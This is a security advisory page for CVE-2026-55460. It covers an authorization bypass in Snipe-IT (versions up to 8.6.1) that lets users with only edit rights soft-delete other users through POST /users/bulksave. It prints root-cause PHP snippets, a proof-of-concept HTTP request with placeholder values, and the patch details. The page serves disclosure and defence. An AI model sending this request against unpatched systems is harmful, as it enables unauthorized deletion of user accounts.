GHSA-VGX7-C78R-69W9
Vulnerability from github – Published: 2026-08-28 17:48 – Updated: 2026-08-28 17:48
VLAI
Summary
Snipe-IT has an authorization bypass on bulk editing users
Details
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"}
The attacker does not have `users.delete`, `admin`, or `superuser`.
### Affected Component
- `routes/web/users.php`
- `app/Http/Controllers/Users/BulkUsersController.php`
- Endpoint: `POST /users/bulksave`
### Root Cause
The UI only exposes bulk delete to users with `delete` permission:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcan
The confirmation path also checks delete:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulk_actions') == 'delete') { $this->authorize('delete', User::class);
However, the destructive route is registered separately:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');
and destroy() authorizes only update:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class);
When `delete_user=1` is present, the method reaches:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php
$user->delete();
Proof of Concept
-
Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete. -
Create a harmless non-admin target user.
-
Log in as the attacker and obtain a valid CSRF token.
-
Send:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: Cookie: snipeit_session= Content-Type: application/x-www-form-urlencoded
_token= ids[]= delete_user=1 status_id=
Observed response:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users
Patches
Patched in 374f426f0c
Severity
7.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.1"
},
"package": {
"ecosystem": "Packagist",
"name": "snipe/snipe-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55460"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:48:36Z",
"nvd_published_at": "2026-07-10T19:17:24Z",
"severity": "HIGH"
},
"details": "### Impact\nAn authenticated non-admin user with `users.view` and `users.edit`, but without `users.delete`, can directly POST to `/users/bulksave` and soft-delete another non-admin user. The UI and confirmation route require `users.delete`, but the destructive sink only authorizes `update`.\n\n### Attacker Model\n\nAuthenticated non-admin user with:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json\n{\"users.view\":\"1\",\"users.edit\":\"1\"}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe attacker does not have `users.delete`, `admin`, or `superuser`.\n\n### Affected Component\n\n- `routes/web/users.php`\n\n- `app/Http/Controllers/Users/BulkUsersController.php`\n\n- Endpoint: `POST /users/bulksave`\n\n### Root Cause\n\nThe UI only exposes bulk delete to users with `delete` permission:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n@can(\u0027delete\u0027, \\App\\Models\\User::class)\n \u003coption value=\"delete\"\u003e...\u003c/option\u003e\n \u003coption value=\"merge\"\u003e...\u003c/option\u003e\n@endcan\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe confirmation path also checks `delete`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n} elseif ($request-\u003einput(\u0027bulk_actions\u0027) == \u0027delete\u0027) {\n $this-\u003eauthorize(\u0027delete\u0027, User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nHowever, the destructive route is registered separately:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\nRoute::post(\u0027bulksave\u0027, [Users\\BulkUsersController::class, \u0027destroy\u0027])\n -\u003ename(\u0027users/bulksave\u0027);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nand `destroy()` authorizes only `update`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\npublic function destroy(Request $request)\n{\n $this-\u003eauthorize(\u0027update\u0027, User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen `delete_user=1` is present, the method reaches:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n$user-\u003edelete();\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n### Proof of Concept\n\n1. Create a non-admin attacker account with `users.view` and `users.edit`, but not `users.delete`.\n\n2. Create a harmless non-admin target user.\n\n3. Log in as the attacker and obtain a valid CSRF token.\n\n4. Send:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nPOST /users/bulksave HTTP/1.1\nHost: \u003csnipe-it-host\u003e\nCookie: snipeit_session=\u003cattacker-session\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_token=\u003ccsrf-token\u003e\nids[]=\u003ctarget-user-id\u003e\ndelete_user=1\nstatus_id=\u003cvalid-status-id\u003e\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nObserved response:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nHTTP/1.1 302 Found\nLocation: http://\u003csnipe-it-host\u003e/users\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n### Patches\nPatched in 374f426f0c",
"id": "GHSA-vgx7-c78r-69w9",
"modified": "2026-08-28T17:48:36Z",
"published": "2026-08-28T17:48:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55460"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/grokability/snipe-it"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Snipe-IT has an authorization bypass on bulk editing users"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…